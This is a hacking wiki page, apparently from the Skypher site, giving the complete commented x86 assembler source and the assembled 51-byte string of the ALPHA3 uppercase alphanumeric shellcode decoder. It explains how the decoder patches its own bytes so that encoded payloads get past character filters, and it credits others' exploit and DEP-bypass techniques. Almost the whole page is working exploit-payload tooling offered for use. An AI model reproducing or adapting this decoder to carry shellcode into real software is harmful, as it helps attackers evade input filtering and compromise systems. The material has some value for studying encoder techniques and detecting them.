Hacking/Shellcode/Alphanumeric/ALPHA3/x86/ASCII/Uppercase/Decoder
From Skypher
|
▼Main Page |
|
CODE
Below is the assembler source for the ALPHA3 uppercase ASCII alphanumeric code decoder for x86. It assumes that ECX points to its base address.
BITS 32
; This decoder requires ECX to point to its base ("start")
code equ 0x31 ; magic value, MUST be ascii
code2 equ 0x41 ; magic value, MUST be ascii
eax_value equ -0xB ; magic value, must be set to a value that makes the
; code 100% uppercase alphanumeric
start:
PUSH ESI ; [ESP0] = ESI
PUSH ESP ; [ESP1] = ESP0
POP EAX ; EAX = [ESP1] = ESP0
XOR [EAX], ESI ; [ESP0] = [ESP0] ^ ESI = ESI ^ ESI = 0
POP EAX ; EAX = [ESP0] = 0
XOR AL, code ; EAX = 0x31
PUSH EAX ; [ESP0] = 0x31
POP EDX ; EDX = [ESP0] = 0x31
XOR AL, code ; EAX = 0x31 ^ 0x31 = 0
DEC EAX ; EAX = -1
XOR AL, code2 ; EAX = -1 ^ code2
al_value equ 0xFF ^ (eax_value & 0xFF) ^ code2
XOR AL, al_value ; EAX = -1 ^ code2 ^ al_value = eax_value
; DECODE 0x6B FOR IMUL INSTRUCTION
XOR [BYTE ECX+EAX*2 - eax_value*2 + imul_offset], EDX
; DECODE 0x75 FOR JNE INSTRUCTION
XOR [BYTE ECX+EAX*2 - eax_value*2 + jnz_offset], EDX
PUSH ESI ; [ESP0] = ESI
PUSH ESP ; [ESP1] = ESP0
POP EDX ; EDX = [ESP1] = ESP0
XOR ESI, [EDX] ; ESI = ESI ^ [ESP0] = ESI ^ ESI = 0
PUSH EAX
POP EDX
DEC ESI ; ESI = -1
esi_value equ -1
loop:
; Some of these instructions can not be encoded using 100% uppercase
; alphanumeric characters. So I have replaced those bytes that were not
; uppercase alphanumeric with bytes that are uppercase alphanumeric. These
; bytes will be "patched" before the loop runs to re-create the right bytes.
INC EDX ; EAX is used as an input index
INC ESI ; ESI is used as an output index
;IMUL EAX, [ECX+EDX*2 - (eax_value+1)*2 + data_offset], 30 ; JNZ offset EF ; Terminating 00
imul: db 0x6B^code, 0x44, 0x51, - (eax_value+1)*2 + data_offset, 0x30 ; 4A * 30 -> E0 ; 30 * 30 -> 00
imul_offset equ imul - start
XOR AL, [BYTE ECX+EDX*2 - (eax_value+1)*2 + data_offset + 1] ; E0 ^ 45 -> A5 ; 00 ^ 45 -> 45
XOR [BYTE ECX+ESI - (esi_value+1) + data_offset], AL ; 4A ^ A5 -> EF ; 45 ^ 45 -> 00
jnz: db 0x75^code ; JNZ loop
jnz_offset equ jnz - start
; There is probably a way to calculate these, but it's easier to manually do it.
data:
data_offset equ data - start
db 0x4A, 0x45 ; This decodes to EF
; db 0x30, 0x45 ; This decodes to 00 can be used for testing
Assembled, the code is 51 bytes and looks like this:
VTX10X41PZ41H4A4K1TA91TAFVTZ32PZNBFZDQE02DQF0D11DJE
See also
- x86 printable opcodes - A list of all available opcodes for alphanmeric code on x86.
- IMUL 0x30 encoding - A description of the technique used to encode/decode the data.
SkyLined would like to thank the following people:
- rix for the phrack article on aphanumeric shellcode.
- obscou for the phrack article on unicode-proof shellcode.
- Costin Ionescu for the idea behind w32 SEH GetPC code.
- tms320/ph4nt0m Security Team for the article on using a different IMUL value in my alphanumeric decoders.
- jamikazu for this VML fill method BoF exploit that points the SEH to the heap to bypass Software DEP .
